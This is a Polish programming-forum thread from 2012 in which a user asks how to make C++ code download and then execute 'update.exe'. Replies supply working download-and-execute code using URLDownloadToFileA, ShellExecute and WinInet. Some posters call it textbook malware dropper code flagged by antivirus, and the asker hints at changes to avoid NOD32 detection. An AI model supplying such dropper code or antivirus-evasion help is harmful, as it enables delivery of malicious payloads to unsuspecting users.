formatyk Temat założony przez niniejszego użytkownika |
Wykonanie pobranego pliku » 2012-08-03 02:26:57 //EDIT: Rozwiązałem problem dodając system("start c:\\update.exe"); ---------------------- Witam Mam problem z wykonaniem pliku Poszukałem na google i znalazłem kod pobierania pliku Wstawiłem swój plik , skompilowałem / wykonałem -Działa , plik się pobiera . Mój problem jest w tym ,że chciałbym aby pobrany plik był dodatkowo wykonany
<code>
#include <windows.h>
typedef void (*Funk)(LPVOID,char*,char*,int,int);
bool Download(char* URL, char* File_Name) { HINSTANCE Dll_Handle = LoadLibrary("urlmon.dll"); if (Dll_Handle == NULL) return FALSE; Funk DnLd = (Funk)GetProcAddress(Dll_Handle,"URLDownloadToFileA"); if (DnLd == NULL) return FALSE; DnLd(0,URL,File_Name,0,0); FreeLibrary(Dll_Handle); return TRUE; }
int main(int argc, char *argv[])
{ Download("http://stronazdownloadem.com/update.exe/", "C:\update.exe");
HINSTANCE hInst = ShellExecute(0, "open", // Operation to perform "C:\update.exe", // Application name "NULL", // Additional parameters 0, // Default directory SW_SHOW); return 0; }
</code> |
|
kubawal |
» 2012-08-03 07:46:53 tak apropo, kod daj w [cpp]...[/cpp] , a nie w <code>...</code> |
|
cyklopek11 |
» 2012-08-03 10:51:34 Hmmm coś mi nie gra z typem twojego wskaźnika na funkcje. Na msdn jest że:
HRESULT URLDownloadToFile( LPUNKNOWN pCaller, LPCTSTR szURL, LPCTSTR szFileName, _Reserved_ DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB );
zwraca HRESULT a nie void więc dziwię się że działa (nie bawiłem się jeszcze funkcjami do ściągania plików). Mógłbyś sprawdzać co jakiś czas kiedy funkcja Download zwróci: true i wtedy próbować wykonać. Jeśli jesteś na Viście lub wyżej to Twój program będzie prawdopodobnie wymagał uruchomienia jako administrator aby mógł wykonać (sprawdź to). |
|
CodeMeister |
» 2012-08-03 12:17:09 A mi to wygląda na jakiś niecny program, który coś ściąga (trojan?) i uruchamia - tak swoją drogą... |
|
m4tx |
» 2012-08-03 12:51:35 @up bez przesady... Może to jest np. prosty auto-updater? Wszędzie te szkodniki musicie widzieć? :) Edit: Download("http://stronazdownloadem.com/update.exe/", "C:\update.exe"); |
W dodatku ani opis problemu, ani kod nie wskazują na to, że to trojan. |
|
ADAMANTAN |
» 2012-08-03 17:20:32 Lekko zmodyfikowane i działa: #include <windows.h>
typedef void( * Funk )( LPVOID, char *, char *, int, int );
bool Download( char * URL, char * File_Name ) { HINSTANCE Dll_Handle = LoadLibrary( "urlmon.dll" ); if( Dll_Handle == NULL ) return FALSE; Funk DnLd =( Funk ) GetProcAddress( Dll_Handle, "URLDownloadToFileA" ); if( DnLd == NULL ) return FALSE; DnLd( 0, URL, File_Name, 0, 0 ); FreeLibrary( Dll_Handle ); return TRUE; }
int main( int argc, char * argv[] )
{ bool isDownloaded = Download( "http://stronazdownloadem.com update.exe/", "C:\\update.exe" ); if( isDownloaded == true ) { HINSTANCE hInst = ShellExecute( 0, "open", "C:\\update.exe", "NULL", 0, SW_SHOW ); } return 0; }
A teraz ta zła wiadomość. Jak wspomniał kolega wyżej to wzorcowy kod wszelkiego rodzaju MALWARE i jest wykrywany przez antywirusy. Ba, nawet mój NOD32 nie pozwolił linkerowi w code::blocks na operacje linkowania. Nie mówiąc już o uruchomieniu w obecności aktywnego NODa. Na https://www.virustotal.com twój program jest określany przez 18/40 antywirusów jako złośliwy kod. Będziesz musiał sam pokombinować jak sprawić aby nie był on traktowany jako złośliwy. Tutaj raczej nikt nie pomoże no bo nie wiemy czy aby nie stoisz po ... ciemnej stronie mocy :-) A tak poza tym to dziwię się że User Account Control (UAC) w Windows Vista mi się nie pluło na wykonanie takiego exeka po ściągnięciu... (testowałem na darmowym serwerze, darmowej domenie i własnym pliku exe) |
|
yoogi |
» 2012-08-03 22:10:51 Jak piszesz MALWARE to URLMON nie nadaje się :) #include <Windows.h> #include <Wininet.h> #include <stdio.h> #include <stdlib.h> #include <iostream> #include <tlhelp32.h> #include <string> #include <process.h> #include <vector> #include <string> #include <fstream>
#pragma comment(lib,"Wininet.lib")
using namespace std;
HINTERNET netstart() { const HINTERNET handle = InternetOpenW( 0, INTERNET_OPEN_TYPE_DIRECT, 0, 0, 0 ); if( handle == 0 ) { const DWORD error = GetLastError(); cerr << "InternetOpen(): " << error << "." << endl; } return( handle ); }
void netclose( HINTERNET object ) { const BOOL result = InternetCloseHandle( object ); if( result == FALSE ) { const DWORD error = GetLastError(); cerr << "InternetClose(): " << error << "." << endl; } }
HINTERNET netopen( HINTERNET session, LPCWSTR url ) { const HINTERNET handle = InternetOpenUrlW( session, url, 0, 0, 0, 0 ); if( handle == 0 ) { const DWORD error = GetLastError(); cerr << "InternetOpenUrl(): " << error << "." << endl; } return( handle ); }
void netfetch( HINTERNET istream, ostream & ostream ) { static const DWORD SIZE = 1024; DWORD error = ERROR_SUCCESS; BYTE data[ SIZE ]; DWORD size = 0; do { BOOL result = InternetReadFile( istream, data, SIZE, & size ); if( result == FALSE ) { error = GetLastError(); cerr << "InternetReadFile(): " << error << "." << endl; } ostream.write(( const char * ) data, size ); } while(( error == ERROR_SUCCESS ) &&( size > 0 ) ); }
int Download( WCHAR * url, string path ) { const HINTERNET session = netstart(); if( session != 0 ) { const HINTERNET istream = netopen( session, url ); if( istream != 0 ) { ofstream ostream( path.c_str(), ios::binary ); if( ostream.is_open() ) { netfetch( istream, ostream ); } else { return 1; } netclose( istream ); } netclose( session ); } return 0; }
std::wstring StringToWString( const std::string s ) { std::wstring temp( s.length(), L' ' ); std::copy( s.begin(), s.end(), temp.begin() ); return temp; }
int main( int argc, char * argv[] ) { if( argc != 3 ) return 1; string fname = argv[ 1 ]; string fs = argv[ 2 ]; Download(( WCHAR * ) StringToWString( fname ).c_str(), fs.c_str() ); return 0; }
Kiedyś napisałem sobie takie cudo :) #edit @up UAC się pluje tylko jak aplikacja wymaga uprawnień administratora :) |
|
formatyk Temat założony przez niniejszego użytkownika |
Wykonanie pobranego pliku » 2012-08-04 16:14:05 @cyklopek11 - Na win7 wymaga uruchomienia z uprawnieniami jako administrator , pyta o zezwolenie na wykonanie pliku . @CodeMeister - Kod znaleziony na forum i takie było jego pierwotne zastosowanie . @ADAMANTAN - Teraz też działa .Teraz tylko przyglądam się jak działa taki kod .Po dodaniu opcji wyboru folderu , języka etc Myślę że już nie będzie problemu z nodem
|
|
« 1 » |